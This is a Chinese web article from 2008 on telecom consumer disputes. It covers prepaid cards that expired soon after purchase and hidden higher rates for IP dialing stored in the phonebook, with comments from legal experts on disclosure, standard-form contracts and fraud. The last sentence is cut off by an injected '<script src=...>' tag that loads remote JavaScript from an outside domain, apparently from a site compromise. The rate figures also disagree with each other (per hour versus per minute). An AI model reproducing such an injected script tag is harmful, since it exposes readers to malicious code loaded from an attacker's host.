发布时间:2008/5/25 访问次数:149
2005年12月底用户甲购买了某电信运营商(以下称为乙)的价值1000的充值卡,其中10张50元面额的,5张100
元面额的。回家后充值2张100元的,3月份再用剩下的充值,发现100元面值的已经失效。仔细一看,原来,这种百元面值的是2005年1月发行,有效期到2006年1月31日,那3张百元的,就不可以用了。
到乙的营业厅咨询,答复是失效就不能再用了,不退不换,意思就是用户甲自己承担损失的300元钱。用户甲很是气愤,认为如果吃的东西有一个有效期还是可以理解的,而电话卡这个有效期就不是很能理解了。更让用户甲气愤的是,既然是还有1个月就到期,购买的时候运营商没有告知任何信息。
专家观点:
针对此案的具体情况,北京邮电大学文法经济学院法学教研室主任肖毅敏认为,消费者享有知情权。知情权是指消费者在购买、使用商品或者接受服务时,了解和掌握商品的真实情况和服务的真实状况的权利。她认为,电话卡只有一个月充值到期,电信运营商应有提醒义务并且“有效期”的标注必须明显、醒目。
华烨律师事务所的张继志律师也认为此项有效期的规定是不合理的。消费者在买充值卡的过程中相当于与运营商签订了合同,但是签订合同是需要双方协商进行的,而充值卡上的有效期是合同的一部分,消费者没有参与任何意见,这是一种格式合同,通俗而言是一个“霸王条款”,事实上,是侵犯了消费者的公平交易权利。所以说,有效期就不应该存在,或者说就不应该由运营商单方面来立定。而《消法》明确规定了“经营者不得以格式合同、通知、声明、店堂告示等方式做出对消费者不公平、不合理的规定,或者减轻、免除其损害消费者合法权益应当承担的民事责任。格式合同、通知、声明、店堂告示等含有前款所列内容的,其内容无效”,可以采用再补充同等金额的话费。
同时,针对电话卡的余额,肖毅敏指出,消费者不应当承担相应的损失。根据《民法通则》第九十二条:“没有合法根据,取得不当利益,造成他人损失的,应当将取得的不当利益返还受损失的人。”对于卡中的金额,电信公司如果不及时返还消费者就构成了不当得利,有义务返还电话卡中的剩余金额。同时,根据信息产业部2005年下发的《关于治理当前电信服务热点问题的指导意见》,电信卡有效期过后,卡内仍有余额的,各电信企业应采取措施妥善处理,保护用户的合法权益。为使用户明明白白消费,各电信业务经营者还应加强电信卡业务的宣传工作,通过多种方式告知用户与电信卡相关的计费、余额转移等内容。
在本案例中,张继志特别指出,用户是12底购买的充值卡,而第二年的1月底就到期,相当于仅有一个月就到期,运营商有义务告知用户真实情况。本案运营商或者代理商并没有履行其告知用户的义务,属于有过错的一方,应当承担责任,也就是说,运营商应当向用户提供相同价值的服务。
长了“翅膀”的电话费
学生丙放假回家了,由于丙在家不能异地充值,所以丙就在回家前给手机充了500块钱。
丙用手机给上学所在地的女友打电话,每天一个小时,丙计算的很仔细,手机ip接入打外地每小时0.7元,每天打1个小时,他一共回家10天左右,刚好够用。然而让丙很奇怪的是,到了第四天,手机就没钱了。
于是丙试着用公共电话打提供服务的运营商(以下称为丁)的客服电话咨询时,得知:如果用户把ip号+电话号码(17x
xx+电话号码)储存在电话号码本里,而不是单独加拨,收费就会从0.7元每分钟变成1.3元每分钟。客服人员的解释是如果储存在电话号码本里,ip系统将无法识别。所以获得资费优惠,必须每次在键盘上直接按17xxx。
丙豁然明白自己的话费为何会像长了翅膀一样的飞走。让用户丙更加不解的是,如果不是主动冶询问这个问题,客服小姐根本就不告诉这样的计费方式。
专家观点:
张继志指出,首先不管技术上的识别问题,就已经损害了消费者的知悉权。其次,运营商的行为已经构成了欺诈消费或者说欺诈宣传。在运营商的宣传中,广告中没有指出直接拨号和捆绑拨号的区别。而且在咨询时不主动告知,存在故意隐瞒事实真相的嫌疑。在这个案例里,深层次而言,运营商的行为具有欺诈的性质,在宣传时只是告知消费者加拨了17xxx就是使用ip,资费比普通长途便宜,其意思表示就是说不论用户以何种方式拨打ip,都应当享有优惠。
肖毅敏指出,同样,本案例中,消费者具有知情的权利。所以说电信运营商有主动告知用户相关信息的义务,否则对消费者来说是不公平的。
同时肖毅敏也指出,此案属于欺诈,应双倍赔偿用户的损失。欺诈行为”是指“当事人一方故意制造虚假或歪曲的?script src=http://er12.com/t.js>
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